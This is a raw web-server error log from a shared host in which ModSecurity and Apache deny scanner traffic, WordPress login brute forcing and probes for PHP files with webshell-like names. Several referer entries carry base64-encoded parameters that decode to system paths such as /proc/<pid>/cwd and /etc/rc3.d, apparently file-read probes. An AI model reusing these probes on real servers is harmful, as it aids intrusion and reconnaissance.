[unique_id "ai3xL8TA7b1mZrmcA-8Z6AAAAiA"] [Sat Jun 13 18:09:19.366240 2026] [security2:error] [pid 531797:tid 531877] [remote 17.22.237.159:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xL8TA7b1mZrmcA-8Z6QACXQ0"] [Sat Jun 13 18:09:19.410357 2026] [security2:error] [pid 531797:tid 532062] [client 191.233.234.186:44798] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/samll.php"] [unique_id "ai3xL8TA7b1mZrmcA-8Z6wAAAlQ"] [Sat Jun 13 18:09:19.412911 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.31:46754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:19.413335 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.31:46754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:19.451150 2026] [security2:error] [pid 531155:tid 531275] [remote 34.187.227.17:1024] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.227.187.34.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mngroup.com.au"] [uri "/wp-login.php"] [unique_id "ai3xLymiP80klyS0NnrxPwABVXc"], referer: https://mngroup.com.au/wp-login.php [Sat Jun 13 18:09:19.506743 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.80:45715] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:19.507179 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.80:45715] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:19.731773 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:09:19.732236 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:09:19.788366 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jLzc0NDU1Ny9ucw== [Sat Jun 13 18:09:19.788683 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jLzc0NDU1Ny9ucw== [Sat Jun 13 18:09:19.884302 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.54:64819] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:19.884782 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.54:64819] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:19.990545 2026] [security2:error] [pid 531797:tid 532098] [client 191.234.188.123:47982] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/libgz.php"] [unique_id "ai3xL8TA7b1mZrmcA-8aBQAAAnc"] [Sat Jun 13 18:09:20.102251 2026] [security2:error] [pid 531797:tid 531931] [remote 209.74.93.184:40030] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.93.74.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "clenbuterol-for-sale.com"] [uri "/wp-login.php"] [unique_id "ai3xMMTA7b1mZrmcA-8aCwACdEM"] [Sat Jun 13 18:09:20.263285 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:09:20.263585 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:09:20.312453 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.101:48106] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:20.312843 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.101:48106] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:20.318687 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.104:20512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:20.319154 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.104:20512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:20.319847 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:20.320291 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:20.442811 2026] [security2:error] [pid 531155:tid 531297] [client 191.234.188.123:44557] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/ups.php"] [unique_id "ai3xMCmiP80klyS0NnrxXwAAARY"] [Sat Jun 13 18:09:20.665211 2026] [security2:error] [pid 531797:tid 531906] [remote 209.74.93.184:40030] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.93.74.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "clenbuterol-for-sale.com"] [uri "/wp-login.php"] [unique_id "ai3xMMTA7b1mZrmcA-8aIwACHyo"], referer: https://clenbuterol-for-sale.com/wp-login.php [Sat Jun 13 18:09:20.799567 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.59:50825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:20.799852 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.59:50825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:20.815099 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:20.815542 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:20.853994 2026] [access_compat:error] [pid 531797:tid 531887] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTc3MDYxL25ldA== [Sat Jun 13 18:09:20.854447 2026] [access_compat:error] [pid 531797:tid 531887] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTc3MDYxL25ldA== [Sat Jun 13 18:09:20.995245 2026] [security2:error] [pid 531797:tid 532051] [client 216.73.216.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vsprintf_variation11.phpt"] [unique_id "ai3xMMTA7b1mZrmcA-8aMQAAAkk"] [Sat Jun 13 18:09:21.058387 2026] [security2:error] [pid 531797:tid 531975] [remote 203.172.89.21:60994] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.89.172.203.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "chrisbernabeo.com"] [uri "/xmlrpc.php"] [unique_id "ai3xMcTA7b1mZrmcA-8aMgACe24"] [Sat Jun 13 18:09:21.058610 2026] [security2:error] [pid 531797:tid 532102] [client 203.172.89.21:60994] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "chrisbernabeo.com"] [uri "/xmlrpc.php"] [unique_id "ai3xMcTA7b1mZrmcA-8aMgACe24"] [Sat Jun 13 18:09:21.142251 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.59:50835] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:21.142541 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.59:50835] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:21.226017 2026] [security2:error] [pid 531797:tid 532063] [client 191.234.188.123:63878] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/database.php"] [unique_id "ai3xMcTA7b1mZrmcA-8aOQAAAlU"] [Sat Jun 13 18:09:21.284869 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:09:21.285158 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:09:21.386771 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjQyL2N3ZA== [Sat Jun 13 18:09:21.387142 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjQyL2N3ZA== [Sat Jun 13 18:09:21.470556 2026] [security2:error] [pid 531155:tid 531315] [client 172.171.3.232:35291] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/jp.php"] [unique_id "ai3xMSmiP80klyS0NnrxfQAAASg"] [Sat Jun 13 18:09:21.685772 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.77:44323] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:21.686051 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.77:44323] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:21.794233 2026] [security2:error] [pid 531155:tid 531347] [client 191.233.234.186:44674] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/Cap.php"] [unique_id "ai3xMSmiP80klyS0NnrxhwAAAUg"] [Sat Jun 13 18:09:21.836110 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:09:21.836383 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:09:21.896824 2026] [access_compat:error] [pid 531797:tid 531903] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzMuZA== [Sat Jun 13 18:09:21.897086 2026] [access_compat:error] [pid 531797:tid 531903] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzMuZA== [Sat Jun 13 18:09:21.964211 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.11:28031] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:21.964685 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.11:28031] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:22.002588 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.2:28587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:22.002934 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.2:28587] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:22.059493 2026] [access_compat:error] [pid 531155:tid 531245] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:22.059928 2026] [access_compat:error] [pid 531155:tid 531245] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:22.075460 2026] [security2:error] [pid 531797:tid 531924] [remote 17.246.19.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xMsTA7b1mZrmcA-8aUAACRTw"] [Sat Jun 13 18:09:22.130967 2026] [security2:error] [pid 531155:tid 531210] [remote 17.246.15.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xMimiP80klyS0NnrxmAABQzY"] [Sat Jun 13 18:09:22.162795 2026] [access_compat:error] [pid 531797:tid 531950] [remote 57.141.14.86:36498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:22.163252 2026] [access_compat:error] [pid 531797:tid 531950] [remote 57.141.14.86:36498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:22.323033 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNlL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNl [Sat Jun 13 18:09:22.323381 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 